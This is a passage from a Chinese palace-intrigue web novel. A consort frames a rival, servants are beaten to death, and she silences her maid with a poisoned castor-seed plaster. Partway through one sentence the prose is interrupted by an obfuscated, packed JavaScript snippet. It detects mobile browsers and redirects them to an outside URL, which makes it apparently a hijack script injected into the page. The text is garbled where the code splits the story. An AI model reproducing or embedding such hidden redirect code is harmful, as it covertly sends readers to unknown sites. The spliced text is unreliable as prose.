流萤仰头说得真诚,配上那双明珠般璀璨的眼睛,仿佛夜空中最亮的星辰落入了凡间,坚定而纯粹。“日后若有之遥的出头之日,定不忘先生今日之援。” 只因江绮玉手腕上的镯子,实是贺九仪施针时,悄悄褪下的。 在流萤原本的计划里,偏爱贵重首饰的江绮玉是不会成天盯着同一只手镯戴的。即便是闻寻赏赐,也不过几天新鲜罢了。更何况自那之后,闻寻又送了不少新首饰给她。 那只春带彩真的不值什么钱,且已然在众妃面前显露过了,合该过劲儿收入龛中了才对。可今日偏又叫她给带了出来,着实是流萤没想到的。 当看见躺在地上的江绮玉袖口下露出半只手镯时,流萤都做好了今晚胜利果实要少上一颗的准备。直到发现来的太医竟是贺九仪之时,她才重新对那颗本是不得不放弃的果子燃起了希望。 流萤借着银汉宫主人的身份,在跟太医几人抬江绮玉进偏殿时,也找准时间拉住贺九仪,用危急关头的紧要语气求他,“把她手上的镯子褪下来给我,事关生死。” 说完又许以世间最最信任的眼神,才转身离开了偏殿。 流萤在赌,而且赌得很大。 虽然贺九仪站过她这边几次,但说到底都是举手之劳,不会给他造成什么困扰,帮也就帮了。 可这次不一样,叫人偷拿东西本就是犯罪,还夸大其词说事关生死。谁生谁死? 因此流萤并没有十足的把握。但事出紧急,除此之外也再没有更好的办法,只能大胆一试。而且,若贺九仪这次也帮了她,那么就可以完全确定他是个可信、可用之人。 若不成,也没什么。早点看清一个不能为她所用的人,倒省得后面再生麻烦。 流萤就这么在外面惦念着偶有失神,直到看见江绮玉踉踉跄跄跑出来,手扒着门框衣袖滑下,露出两只光洁的手腕,她一颗心终于是安安稳稳落回了肚子里。 “才人不必挂怀,臣知道自己在做什么。” 贺九仪攥紧又松开的拳,最终还是轻点在流萤的双肩,将她扶了起来。 其实他更想说,日后若再有需要他做的事情,尽可以要提前知会,只要不是伤及无辜,他都不会拒绝。 但这些话贺九仪不能说。 他没法解释对才见过几次面的流萤就敢赴汤蹈火,实则是为了弥补自己心里空了多年的那个漏洞。 所以,宁愿让流萤认为自己是看中了她如今的得势,日后也能跟着升官进爵才乐于帮她,也不愿同流萤揭开那道只应该烂在他肚子里的伤疤。 “小心驶得万年船,还请才人万事皆要三思而后行。只有才人如鱼得水,臣才能跟着平步青云。”贺九仪隐下心底波澜,刻意说得势利。 流萤没想到贺九仪会如此直白,稍有错愕,但转念一想,心头反倒松下一口气来。 此前还担心贺九仪对自己太过上心是另有所图,如今一切说开,倒是确定了彼此需求,日后合作也能更加牢靠。 遂回以浅笑,表示认同。 或许是真的感到轻松了,流萤面上展露的梨涡也随之加深,缓步走到角柜前,取出两颗东珠递到贺九仪手上。 “这两颗东珠请你收下,干干净净,最衬我的心意。” 其实早在流萤没有背着他与汪芷柔复盘时,这份把他当做自己人的心意,就展露得清清楚楚了,比那两颗东珠还清楚。贺九仪都知道。 是以眼光微动,看看东珠看看她,终是收下了。 也好,人总要有秘密,也总要有误会。 只是他能想得开,春桃却想不开了。 40. 物尽其用 回忆闻寻走后,派去庆祥宫搜查的人果然拿回了那只春带彩手镯。贤妃怒其不争一把摔到关采曼脸上。手镯应地而碎,崩起的碎渣飞刀一样刮花了关采曼的脸。 血珠滴到地上,贤妃却只觉得丢人至极。 一个整日跟在自己身边有模有样的正二品嫔,竟因区区小利就敢伸手动宫中的宝物,还擅自跟宫外互通有无。 贪财偷盗传出去脸上无光还是小事,贤妃更怕的,是有人污蔑其实她才是这一切龌龊行径的幕后指使,以权谋私、监守自盗。那她多年积攒的端贵持重形象岂不就轰然倒塌了? 宫里向来是流言多了,无论多么子虚乌有的事儿都可能会成为事实。况且她还不止一次为关采曼掌脸撑腰,说他们之间没有利益关系,鬼都不信! 可偏偏此事,贤妃真是一点不知情,不然早就将她双手打断!遂越听关采曼痛声求饶越觉气愤,当即下令要将关采曼贬为庶人充入冷宫,以证自身清白。 关采曼听到冷宫二字猛地抬头,哭天喊地说自己冤枉。 “娘娘,我确实是看汪芷柔软弱好欺,平日苛待了她不少。但这几年我尽心听话,您说东我不敢往西,怎可能在您掌权下明知宫规不可违,还做什么偷盗倒卖的勾当,公然拆台跟您对着干呢?更别提敢生什么动江绮玉一个指头的心思?这定是有人栽赃陷害啊!” 她知道自己在劫难逃,唯有将水搅得更浑,才能有一线活的希望。 冷宫,那可是有进无出的地方。她不能去,更不能连累关家跟她一起蒙羞受辱。 “你这个狗奴才,快说到底是受了何人指使,敢在娘娘面前颠倒黑白?若再不说实话连累了一家老小,自有你们后悔的时候!” 关采曼死盯着小盛子,言辞中的威胁就快从眼睛里蹦出来。 她此时也终于反应过来,小盛子该是为了保下红绡才选择招供一切。可她知道了也没有任何办法,她也不能说出红绡,说了就是承认! 所以关采曼只能再次用红绡性命相威胁。她希望小盛子能明白,就算她被关起来了,但是后宫这么大,总还有能替她卖命之人。她如果想让红绡死,还是像捏死蚂蚁一样简单! 遂一抬手怒指向汪芷柔,目不斜视问道,“是不是她指使你?!” 她在给小盛子指最后的活路。 关采曼之前想将幕后主使安到流萤身上,却一不小心被其抓住了言语上的漏洞,险象环生。是以这次,关采曼不敢再提流萤,唯有将这一切都说成是汪芷柔因不满自己的苛待、才想出的蓄意长久的报复。 小盛子看着关采曼狰狞的脸孔,心里十分惶恐,他清楚关采曼的用意,也清楚关采曼的实力。 可事已至此,哪儿还有回头路。只能一条道走到黑,再加点料,让她永远走不出冷宫。这才是他唯一能为妹妹做的了。 于是不等汪芷柔出言冤枉,小盛子便像垂死的狗一样匍匐朝关采曼爬去,自证起忠心来。“娘娘,奴才办坏了事对不住您!就算您去了冷宫,奴才也愿意跟着您!只求您替奴才求一命,奴才下辈子还来伺候您!” 关采曼没料到小盛子如此冥顽不灵,用上全部力气,像推衰神一样推开他,眼中满是愤怒和不甘,“你到底拿了她多少银子敢这样栽赃我?!我根本不认识你!又说的什么鬼话!” 眼见小盛子越缠越紧,关采曼挣不开,只好向贤妃泪眼求救,“娘娘!他是不见棺材不落泪,快给他上刑!一定能逼问出始作俑者!他们都在污蔑我,求您相信我,我是真的不敢对您有二心啊!” 一遍遍的痛声求救,一句句的无力辩白,听得贤妃早已没了一点耐心。尤其是当听到关采曼还说什么对她忠心耿耿,少来!少跟自己扯上关系! 嫌憎无比地睨了关采曼一眼,怒拍案几,呵斥命人现在就将她掌嘴十下,而后再送进冷宫严加看管起来。小盛子则直接拖下去杖毙。 听到宣判,小盛子蓦地垂下头,像断了线的木偶,只释然扯了扯嘴角,便再不挣扎任人拽了下去。 路过春桃的时候,还冲她惨然一笑,像是解脱,又像是遗憾。那正滴着血的嘴角,看得春桃浑身打抖,简直快要吓傻了。 小盛子要死了,那么她呢? 她也是犯了错的奴才啊。猛地抬起求助的眼睛望向流萤,一副“你答应过保我一命”的迫切样子,希望流萤能说话算话。 只可惜,流萤说过的话,连她自己都很少信。 “娘娘,这个宫女也不能放过。”流萤从座位上起身,走到贤妃面前行了一礼,坚决说道。 “今日这是败露了,可此前成了的偷盗行径指不定有多少呢?枉我一直宽厚待她,她竟背刺我!还请娘娘一定重重责罚春桃,再给嫔妾指派一个手脚干净的婢子来。现在还只是偷东西,若改日再来个心眼更坏、或存心报复的,别直接要了嫔妾的命才是!嫔妾实在害怕呢。” “你……!”春桃不可置信,满眼惊惧。 她想把流萤的教唆一股脑倒出来,可喉咙间却突然似有千斤铅块儿堵住,凭她怎么张大了嘴也发不出一声。 春桃以为是被流萤那双震慑力十足的眼睛吓到,便一骨碌跪下去躲避,膝行两步上前,想要再次跟贤妃吐露真相。既然流萤没想救她,那么要死就一起死。 可她阿巴阿巴半天,喉间似火烧,还是一个完整的字都说不出口。春桃急坏了,伸手使劲扣着嗓子,但即使已经干呕了起来,还是不见任何反应,唯有不停留下的泪水混着带血的口水胡乱了整张脸。 贤妃看她狼狈不堪的样子面露鄙夷,忙蹙眉甩手,示意人赶紧将其也拖走。应该是跟小盛子一样的下场,只是贤妃都懒得再说一遍。 那头啪啪作响的巴掌声也适时停下,贤妃漠然看脸颊红肿、嘴角渗血的关采曼一眼。那眼神冰冷、厌弃,没有半分心疼,但斟酌过后,还是决定留她一命。 幽幽说道,“去了冷宫好好反省。多为皇上和太后祈福,算是悔过诚心。无论严冬酷夏,每日至少抄一卷经书,本宫会派人检查。” 贤妃说完便走,不带一点留恋,任凭关采曼在后面喊破了天,也再没回过一次头。 流萤眼见关采曼被几个太监五花大绑,绳子磨破了脖子,留下几道鲜红的血痕。好心扔给她一条手绢,反被呸了一口血水。 “贺之遥,别以为我不知道这一切都是你在背后捣鬼!” 如今贤妃走了,关采曼再无什么课遮拦的地方,她瞪着布满血丝的眼睛死死对上流萤道。 “你跟汪芷柔两个狼狈为奸,陷害于我。且等我找到证据,一定叫你们死无葬身之地!冷宫又如何?真以为能困住我?!哼,咱们走着瞧!” 关采曼也知道贤妃说每日都派人去检查,就是警告某些人不要动歪心思,就是保她命的意思。于是再与流萤对峙便更有了底气,仿佛她依旧是那个正二品嫔,仿佛她仅仅是换了一处简陋的宫室过活。 流萤看关采曼不知所谓的样子真真觉得好笑。她想要的人,谁也保不了。还妄想在冷宫安然无事下去?呵呵,做梦。 但她懒得与关采曼磨嘴皮子,只葱白指尖轻蹭掉脸颊上的口水,语带轻蔑问道, “那你方才怎么不跟贤妃娘娘说呢?你若说了,我必定也要问问,小盛子为你卖命一年之久,可是春桃才来我宫中一个月,那之前呢?她去哪儿给你找宝贝?还是说……” “银汉宫里另有其人?” 流萤一字一顿,只说最戳人的话,眼中肆意的嘲讽毫不掩饰。 天光掀开,淡淡朝霞打在流萤含笑的红唇上,竟似海棠胭脂晃出一抹瘆人的妖气,像极了专以人心换长生的妖王。 吃一颗心,就能知晓一个秘密。 关采曼惊恐看着她,不敢相信她竟连彩秀的事也查得一清二楚。那会不会连松香粉也…… 霎时间,功亏一篑的挫败感,和被人撕开全部伪装的不堪暴露感席卷全身,关采曼就像泄了气的皮球,空洞、失神,再没一点嚣张气焰。 任由太监们拖拽而走,污秽的几只手上下弄脏她的衣裳和脸,也再勾不起丝毫触动。只在心里一遍遍呢喃,流萤为了报复居然等得这么久,藏得这么深…… 寒风乍起,抖落枝头仅剩的几片残叶,似在与秋日做最后的道别。 流萤紧了紧兔绒斗篷的系绳,领着小金子往暴室去,准备送春桃最后一程。 宫中没有专门安置死去奴才的地方,都是先把尸体放在暴室,等晚上再一起拉出皇宫,扔在乱葬场埋了。 暴室守门的老太监突然看见有贵人登门,颇感意外,忙陪着笑脸问流萤所为何事。 得知是来送送自己宫女的,老太监不由得脸上笑褶堆得更深。他知道这样心善的主子,必定不会吝啬这最后一程的赏钱。 于是一字不落讲了小盛子在拉取暴室的路上,已被活活拖死。而春桃则是硬生生挨完三十大板,才尖叫一声断了气。二人的尸体堆叠在暴室角落,只等晚上拉走。 “您可真是位好主子,想那丫头去了下边也会念您好的。只是容奴才多嘴劝劝,像咱们这种下人的命贱,有时候去了反倒是解脱呢。就像奴才,一来暴室就是二十年,根本望不到头啊。” 流萤听了叹气点点头,掏出几粒银瓜子递到老太监手上,客套说着多谢开导。她当然明白老太监讨赏的心思,左也是等人,敷衍几句反而更显自然。 终于等到偷偷来看小盛子的红绡。她躲在墙后面,本想等流萤走了再找老太监说说,给她哥哥埋个好地方。可迟迟不见流萤离开,便先回去准备晚些再来。不料一转身竟直直撞上了小金子。 红绡吓得连忙捂住了嘴往后退,她不认识小金子,但记得这张脸,分明就是方才跟在流萤身边的,怎么鬼魂似的一下子跑到自己身后了呢? “想活命就跟我走。”小金子也不废二话,冷声开口,语气里尽是威胁。 红绡在得知哥哥死讯后多方打听,也是问到了昨晚在银汉宫发生的大概。 哥哥舍命保下自己,她并不意外,可是春桃为什么也没有供出自己?她们之间可没有那么深厚的友谊。还有关充媛,又怎会也放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339286|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过自己? 带着满腹疑问,红绡选择跟小金子走。只因小金子跟春桃同处当值,她隐约觉着跟上去,一切就都能得到解答。 她必须知道哥哥这条命,到底要算在谁的头上。 所以七拐八绕见到等着她的人正是流萤后,红绡就开门见山,“请贺才人明示,红绡到底是怎么活下来的?” 红绡屏住怨气,面色阴沉,流萤却挑眉看得欣赏,“倒是和你哥哥一样聪明。” 这话仿佛又给了红绡一剂定心丸,终于涌上些揪心情绪,抖着唇又说了一遍,“请贺才人明示。” 其实红绡也并非多相信流萤,只是此事她再无人可问。唯一知情的关采曼已然被关进冷宫,而且哥哥当众叛变拖垮了她,她又怎会跟自己说实话。 所以当流萤主动来寻她,必然就是有内幕要她知道。 哥哥是她唯一的亲人,这个仇,必报! “小盛子昨晚撞倒江美人见了血,趁大家都忙着去找太医的间隙,他曾偷偷求春桃帮他一件事。” 出言解答红绡疑惑的是小金子,他作为全程在场的见证人,知道的事情比旁人多是无可厚非的。所以他特意把每个字都说得很慢、很清晰。 “小盛子知道此次躲不过了,便与春桃商量,想将一切过错都扛到他自己身上,求春桃不要提起你。并承诺会把春桃的那份过错也说成是关充媛的万般逼迫,同时还告诉了春桃这些年他积攒下来的钱都放在了哪儿,说她若有命活,就全部给她。” 红绡狐疑,并不真的相信,拧眉问小金子,“这是掉脑袋的大罪,你还在场,我哥哥怎就敢跟春桃说这些?他们不怕你告密?” “你觉得他还有别的选择吗?”小金子不乱分寸,依旧沉静如水。“要么试一试保住你,要么你俩一起死。” “再说了,他讲那些积攒下来的钱放在哪儿的时候可没背着我。谁能活命就归谁,我为什么要跟钱过不去、凭白多话惹自己一身腥?也就春桃是个傻的,还天真以为贤妃能放过她。” 小金子斜斜嘴角,语气里是掩不住的嘲笑。红绡盯着他,渐渐也信了。认钱为主,没什么不对的。 “所以……这真的只是意外吗?”红绡还想再确认一遍。 小金子这次没有作声,而是退到流萤身后,一副不该他再说的谨慎模样。 “当然不是。” 流萤惋惜叹口气,像是方才白夸她聪明一样。而后才意味深长问她一个问题,“你哥哥有告诉过你,他每次从北武门回去都走的哪条路吗?并不是离银汉宫近的那一条吧?” 对啊! 哥哥说过,北边只有银汉宫一个宫室,只要避开银汉宫绕进巷道,就不会有过往的人看见他。 可是昨夜与江美人相撞,却偏偏发生在银汉宫附近! 红绡突然想到什么,“才人的意思是……?” 流萤事不关己般摇摇头,像是并不想继续揣测此事,只说她知道的模样,“汪才人昨晚与我坦白,说是关采曼曾叫她传假消息给江绮玉,引她来我银汉宫附近抓人。” 流萤的话点到为止,剩下只让红绡自己琢磨。她递给小金子一个眼神,示意将提前准备好的一些散碎银两交给红绡。 做戏自然要做足,“这就是你哥哥说的那些东西,我不贪死人的玩意儿,今日在此等你就是要给你。” 说完转身便要走。 “等一下!” 红绡叫住他们,目光定定看着流萤,企图看出她到底有没有骗自己。 “如果真是关充媛想害江美人,没道理安排我哥哥去犯这个险。哥哥替她卖命这么久,她难道就不怕若此事失手,反而会暴露了自己那些见不得人的事儿吗?” “呵呵,只有死人的嘴才是最严的。这道理还用我教?” 流萤也是不客气,嗤笑一声,笑她是个傻子。 “你自己也说小盛子为她做事儿那么久了,哪个主子能让一个奴才握住把柄呢?必然是过一段时间就要换一个啊。” 流萤见红绡眼神微怔,继续引导道,“你也不想想,依江美人那性子,平日给她梳头梳疼了都是一顿巴掌伺候,更别提谁把她撞得人仰马翻,还险些害她滑胎,那人还能有活路吗?” “若非小金子他们碰巧听见了动静出去,恐怕你哥哥就连这暴室都进不了,指不定趁黑哪个池塘就给沉了呢。” 流萤慢条斯理整整帽兜,给足了红绡消化的时间,等见她眼眶愈发殷红,知是听进去了,便又接着劝道。 “冤有头债有主,关采曼偷我东西,还妄想往我头上泼脏水,如今她被打入冷宫再没翻身的可能,其实与我而言,这件事儿就算翻篇了。但至于她是否真的想借江美人之手杀了你哥哥,就得你自己考虑了。” “我呢,也并非什么菩萨心肠。只是看你福大命大活下来,也权当做做好事儿积积阴德,只要你不蠢钝上我这儿作妖,我又认得你是哪个?” “而且,若你想得明白,只会比我盯关采曼盯得更紧。能不费心就坐享其成,何乐而不为呢?” 41. 水往高流 听流萤说得如此坦荡,红绡已经彻底没了不信的道理。 她只是有些迷茫。突然间失去了唯一的亲人,还被曾经的主子抛弃,红绡好像除了不停在眼底蓄起不甘和思念的水汽之外,什么都做不了。 模糊视线缓缓从怀中的素色荷包,移到流萤渐行渐远的背影上。看那一抹栀黄,就如同一缕即将熄灭的烛光,待烛台燃尽,所有关于哥哥的记忆便也随之烟消云散了。 红绡颤抖着手拆开遗物荷包,里头是一把金瓜子和几块碎银子,刚要重新抽紧拉绳,却被一个隐隐反红光的东西晃了眼。抹掉眼泪细看,竟是一块足比指甲盖还大的红玛瑙! 不同于一般的玛瑙珠子,这一块儿方方正正,四周还镶了勾花金边,很是精致。只不过金边背面有些许胶油粘连的斑驳印子,合该是从什么首饰上扣下来的。 红绡盯着玛瑙思索半晌,终是隐隐约约回忆起在哪儿见过了,但并不能完全确定,必须得好好验证一番才行。于是迅速收好荷包,一溜烟儿跑回了尚服局…… 小金子跟着流萤绕出巷道,临拐走前最后回头看了一眼,确定不见了红绡的身影,才低声对流萤说道。 “主子,春桃脖子上的祛疤贴怎么处置?” 边说,边掏出袖中一揉成小团的脏油纸展示给流萤看。流萤只斜一眼,淡淡交代回去烧了就行。 他们今日来暴室的目的不仅仅是等红绡,更重要是取回那贴带毒的药膏。 自春桃被烫伤后,流萤就一直托贺九仪拿药,不然她也不会愈合得那么快。最后只剩下印子,流萤便又换了一些祛疤的药膏给她,像是当作她说实话的奖励。 春桃以为是流萤为了让自己乖顺听话,才寻来良药以示安慰,便配合着一一用了,也省得流萤再对自己不满想出别的手段胁迫,她是真的怕了。 不想那些祛疤的药膏竟意外地好用,春桃便渐渐放下警惕天天都涂点。反正入了冬,传的衣裳领子也高,扣子一系,没人能看见她领子下贴的膏药。 流萤一直掐着她用药的余量和时间,等断药两天了,才在初五那天晌午,临出发去安仪殿之前,新拿了些给她。 不过,跟以往的祛疤贴不同。这次的多掺了蓖麻籽粉末,能让人在急火攻心、血气上涌之时,迅速引发喉咙肿胀,发不出声、说不了话。 而且蓖麻籽粉末的量则由贺九仪精准控制,足够让春桃在还仅仅是紧张的时候,把该说的都说完。只有当流萤向贤妃请求赐她死时,愤怒与恐惧瞬间上涌,蓖麻籽的毒性才会顺着汗液渗到紧贴着药贴的颈间,钻进皮肤,融入血液。 做过叛徒的人,永远不值得被相信第二次。她能背叛前主子,必然也能背叛自己。流萤可不傻,不会犯这么低级的错误。还是那句话,只有死人的嘴,才是最严的。 贺九仪说过,蓖麻籽毒性大,稍有不慎就会有当场毙命的可能。流萤听完没有一丝心软,只嘱咐不要让她死在对峙之时就行,省得不好解释。 “主子,红绡还需要盯吗?”小金子问。 流萤不动视线,依旧漫无目远眺着,良久开口道,“盯吧,最好是还能找机会叫她知道,关采曼吃不了姜。” 贤妃既然选择派人定期去照看关采曼,必定另加防范。为避免漏出不必要的马脚,流萤绝不会亲自动手。 正如方才对红绡说的,如今成败已分,自己一次红疹换关采曼终生监禁,怎么算都够了。流萤确实是准备翻篇了。 如果非要给关采曼最后一击,死里逃生的红绡,无疑是最好的人选。当然,前提是她能猜到那块玛瑙是怎么来的。 若红绡真就没这个脑子,结果不了关采曼,也无伤大雅,她总归是再无翻身可能。 解决了心头麻烦,又呼吸到最喜欢的清冷而干燥的空气,流萤只觉得从里到外都是舒服的。是以在回到银汉宫门口跟小福子碰个正面时,她脸上依旧带着笑。 对于善待过她的人,流萤向来得一分、还三分。 “给贺才人请安。” 小福子迎上来,笑盈盈行了一礼,“皇上叫奴才来给您送些银纹炭,说越往后天越冷,您只管天天点着,等再到月初了奴才还来送。” 经历了这几日的事儿,小福子愈发知道,若把赌注押在流萤身上,绝对比其他人的赢面大。尤其是今儿上朝前,闻寻特意交代他想着给流萤送去些好炭。 这样小的事情,闻寻可是从未放在心上过。 更准确的说,是从未见过他对哪个妃子有过这样的关心,即使是荣宠加身的凝婕妤,感染了风寒也只是让太医好生瞧病。不像对流萤,还没怎么样呢,就先提防起着凉受冻来。 这不是下一位宠妃,还能是什么? 是以小福子在心中暗自决定,往后只要事关流萤的,都放在第一位上。 自己若能多做两件贴心的事儿叫她发现,必定好处多多。就像昨晚单独给江绮玉安排的轿撵,就很得闻寻满意。不然今日来送银纹炭的好差事也不会交给自己。 小福子想着能被闻寻委以重任,嘴上说的话便也不自觉更甜了起来。 “这银纹炭烧起来是白烟,不呛人。才人尽可在内室点着,稍稍嵌一点窗户缝儿透气就成,万别大开了门窗受凉,不然皇上知道了指不定得多心疼呢。” 流萤抿唇浅笑,仅管知道闻寻才不真的心疼自己,只是依照协定做做样子,但由别人说出来的恭维话还是叫人觉得舒服。 至少代表了她已经获得了别人的高看和尊重,是成功的标志。尤其这人还是皇上身边的人,更是高抬一步。 “进去喝杯热茶再走吧。” 流萤想着兑现上次在安仪殿得他照顾的承诺,客气说道。 “是啊,福公公每次出现都是有好事儿,往后也要多多来才是,银汉宫永远欢迎你!” 宝珠早就听到动静跑出来,一边招呼几名小太监往里面搬,一边喜滋滋接着流萤的话对小福子说道。她是真觉得小福子和自家主子的气场很合,就跟他的名字一样,福气满满。 “多谢贺才人好意。只是奴才还得赶回皇上身边伺候,昨儿折腾一夜没休息,这会儿才睡下。” 小福子礼貌拒绝,但是话音却没落下,反而继续说道, “说到这儿,容奴才多问一句,上次皇上来您这儿,您给煎的安神茶是什么茶种?皇上夸过不错,是以奴才想着一会儿等皇上醒了,也给皇上建煎一杯。” 如此明显的暗示,叫流萤有些诧异。暗道他这“忠心”表得是不是有点太快了?还是说这是宫中惯用的圆滑伎俩,主打一个刷好感、不出错? 不过嘴上还是受教一般表达了感谢,并叫宝珠去取了安神汤的茶包来,里头自然还塞了两块金锭子一同交给小福子。 闻寻身边的奴才不能得罪,更何况还是向自己抛了橄榄枝的,更得好好维护才行。闻寻身边如能有个给自己通风报信的,机关时刻绝对会帮上大忙。< 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小金子踟蹰过后,坚定一步上前,利落选择收下。 “虽说现在宫中各处都知道了您得皇上喜欢,谁也不敢再为难银汉宫。但是有些钱财傍身总归是好的,万一真遇上个必须得使钱才能解决的事儿,总不至于到时候再现找主子,不然错过了时机,反而耽误事儿。” 宝珠闻言愣神,眨眨眼显然是没想到这些,再看看桌上还剩一袋的金瓜子,努努嘴也收进了胸前。“那奴婢也收着,有需要时再动。” 本该是人性使然的事情,却突然生了不同,叫流萤有一瞬间错愕。她看着面前真心实意的二人不语,难道真是自己小人之心了? 尤其是小金子,他比宝珠有脑子,如果不要钱,那他要什么? 权势吗? 斟酌小金子说知道闻寻宠爱自己,说以防遇到需要用钱才能摆脱的事儿……他是看准了自己必定能往上走,便也想跟着披荆斩棘、讨个前程? 其实经历过这次的事情,流萤已经把小金子当作自己人了。毕竟成功引导小盛子换道而走的正是他。 自从知道小盛子逢三逢六做事后,小金子便多次跟踪排查,终于叫他发现了小盛子择路而走的区别的所在。 无数条从北武门去庆祥宫七拐八拐的路线里,只有一条离银汉宫相隔两个甬道的小路,是他实实在在走过三次的。 而第一次走这条路的日子,正是春桃偷走玉净瓶后的第一个逢三日。是以小金子回去与流萤商议过后,猜测是只有从碰头的人身上拿到了钱时,才走这条路,平时就随意乱走。 收网那日,因为提前与顾大人联系过,威胁了那个接头的侍从给小盛子带金豆子进来。所以小金子早早就占据了那条必经之道,他摸着黑来回走来走去,脚步声不大,但足够靠近的人听到。 为了就是逼小盛子因怕被人看见而不得不走相邻的另一条小道,也就是宝珠与程兆“携手”消失的那条小道…… 这才是让小盛子与江绮玉“相撞”最为关键的一步,小金子做得很好。 所以如果小金子也有一颗向上爬的心,简直如虎添翼。 “这就是给你们的,出去打点的钱另有。” 流萤指了指角落里带锁的柜子,“钥匙在妆龛最下层,里头除了那盒东珠和一个墨绿色的锦袋不能动,其余的只要与我说一声做什么,便可直接拿去。” 42. 秘密送信 这种信任在宫中难得一见,宝珠二人听了皆为动容。尤其是小金子,他十分清楚,流萤这话更是说给自己听的。 毕竟宝珠本就在屋里伺候,平时要取点什么东西都支使她去,自是早就知道柜子钥匙的位置。而自己则很少进屋,不是在外院盯梢,就是跟着流萤出去做事。 小金子也知道自从自己决定有所转变后,从少言寡语变得遇事能娓娓道来,自然是引起了流萤不少猜忌和试探。但他并不忐忑,只用心做好主子交代的每件事,时间会替他证明。 如今有了这句话,不就表示他已经通过了考验、被主子完全接纳了吗?于是那句“多谢主子”,小金子说得十分用力。 宝珠看流萤笑得眉眼柔和,宛若春日暖阳照耀下的碧波。知道主子这是真的高兴,她也跟着开心。可脑子里突然闪过一件不好的事,没忍住叹息起来。 “虽说是咱们报了仇,但没人知道这份喜悦,而且还险些摊上害江美人小产的破事儿。主子您都不知道,方才我去尚食局提饭,居然听到有人说是因为咱们银汉宫阴森不详,才连累了路过的江美人受惊!” 小金子闻言,罕见地弯了弯嘴角。他本就更能看得清一些,又刚刚得到流萤的肯定,底气十足宽慰宝珠道,“这是好事儿,说明咱们摘得干净。” 没错,若要论整件事最大的受益人,明面上必然是彻底摆脱了关采曼压榨的汪芷柔。即使日后有碎嘴的,也得是汪芷柔遭受的非议更多。 而且昨晚他们连那个真正引江绮玉出门的私会纸条上的一个字儿都不敢提,以后就更没机会再往流萤身上折腾了。 “那咱们也不能掉以轻心,能在宫中混的,没几个是傻的。”流萤定定说道。 孔映欢不说实话是为了自保。她已然撞得江绮玉差点滑胎,哪里还敢交代正是自己胡乱听说了纸条的事情,才引诱得江绮玉出门。若照实说了,她不就真成“罪人”了吗? 而贤妃,则是看已经有关采曼和江绮玉两个可能会让人质疑她治理六宫不当的蠢东西办错了事,更不会再往自己身上添火,弄出一个看管不住嫔妃、秽乱后宫的烂摊子。 尤其是昨夜闻寻的现身,直接证明私会一事子虚乌有,谁还会去触哪个霉头。 不过缄默不语,不代表大家就都能睁一只眼闭一只眼,将此事翻过。必定有好信儿的会费心彻查,贤妃应该就是其中之一。 流萤依稀记得她看见闻寻与自己一同出现时的诧异与疑惑。也记得贤妃最后临走时看自己的那一眼,不仅审视的意味溢于言表,更有一种向自己发起挑战的挑衅在里面。 像是在说:千万别被我抓到。 于是认真叮嘱宝珠二人,“春桃死了,贤妃过不了几日就会送新人来监视我们。这次动静闹得大,饶是关采曼再不济,也是折了她一个臂膀,她必定会派个狠角色过来。” 贤妃可能塞一个小宫女来,也可能直接安排一个掌事姑姑来。毕竟银汉宫空置许久,现又有了还算入皇帝眼的妃子,配一个管事的,合情合理。 “咱们先定个暗号,以后只要我说‘多烧点水,晚上我要加点什么花瓣泡澡’,就是要小金子夜里来我这儿、有事交代的意思。” “但如果我说完之后,还跟了一句‘再摘两片薄荷叶’,就是无事发生,是假信号。” 二人点头记下,知道听主子的防患于未然不会错。他们也是真心实意地跟定流萤了。 流萤又道,“还有北面墙的那个小洞口,多放几个……放几个酿果子酒的瓷缸挡上吧,但别完全挡死,堆些松土。汪才人若有事还会从那儿传消息进来,得多留意着点。” “果子酒?” 宝珠疑惑歪歪头,宫里什么时候有果子酒了? “自然是现做。” 流萤顺手将此事交代给宝珠,她嘴甜,去了尚食局应该不会碰壁。 “提晚膳的时候,跟他们多要点杨梅、梨子、山楂之类的。就说我怕冷,一到冬天就爱温点果子酒热热喝,不然晚上睡不着。怕越往后果子越少,准备先自己酿点儿。” “若要到了,就把汪才人也叫来,人多做得快。” 关采曼的事情了了,流萤就得想尽快办法给王爷传信了。她要给闻景一个“惊喜”。 还有那个光禄寺的顾廷风顾大人。此次出手果决,排查身边的眼线又准又快,且还听汪芷柔的安排,没出一点纰漏。能力不小。 但就不知道,他究竟是看在汪正隆的面子上,还是看在与汪芷柔过往的情分上。 流萤倒希望他对汪芷柔也动过些心思。因为掺了私情的关系,往往才最是说不清道不明的牢固。 虽说最好还是能亲自与顾廷风碰碰面,才能确定此人是否真的可用。但流萤也知此事难于登天,只能先用别的事情试探一试。 “什么?你想寄封家书?!” 汪芷柔手中的杨梅噼里啪啦滚落一地,仿佛听到了天方夜谭,惊得连眼睛都不会眨了。 “嗯,想我娘了。” 流萤牵起汪芷柔僵直的手,拉她一同坐下,吐露起心头的郁结,“就报个平安,几个字就行。” 流萤语气是罕见的软糯悲伤,弯弯柳眉似蹙春山,眼泛红雾满满忧愁。就像一棵霜打的小草,正一点点低下头去。 汪芷柔错愕看着,久久没有回过神来。她见惯了冷静自足,目空一切的流萤,还以为她真的坚韧到百毒不侵,没想到竟也有和自己相似的软肋。 更没想到流萤要借助陈食官与顾廷风向外传信。 讲道理,且不说她与流萤的友谊日渐深厚,只说这次成功能摆脱关采曼,最要感谢的就得是流萤。于情于理,她都应该帮这个忙,可这件事实在风险太大。 “你若家在长安,我必定为你传这个口信儿。可……可是渭州那么远,我真怕路上出岔子。”汪芷柔苦着脸说着自己的为难。 如果只是她自己出面就能解决的事儿,汪芷柔绝对义不容辞。 但出了关采曼那件事后,贤妃已经下令加强了对宫里宫外来往的检查,连飞只蚊子出去都难。 即使侥幸蒙混过关,寄出一封书信又要经过那么多驿站,一旦暴露,那就是用别人的性命去还自己的人情,她怎能如此做? 这些道理流萤当然也都明白,如果处境对调,她也不会同意。但眼下再无旁的与宫外接触的机会,只能继续与其卖惨。 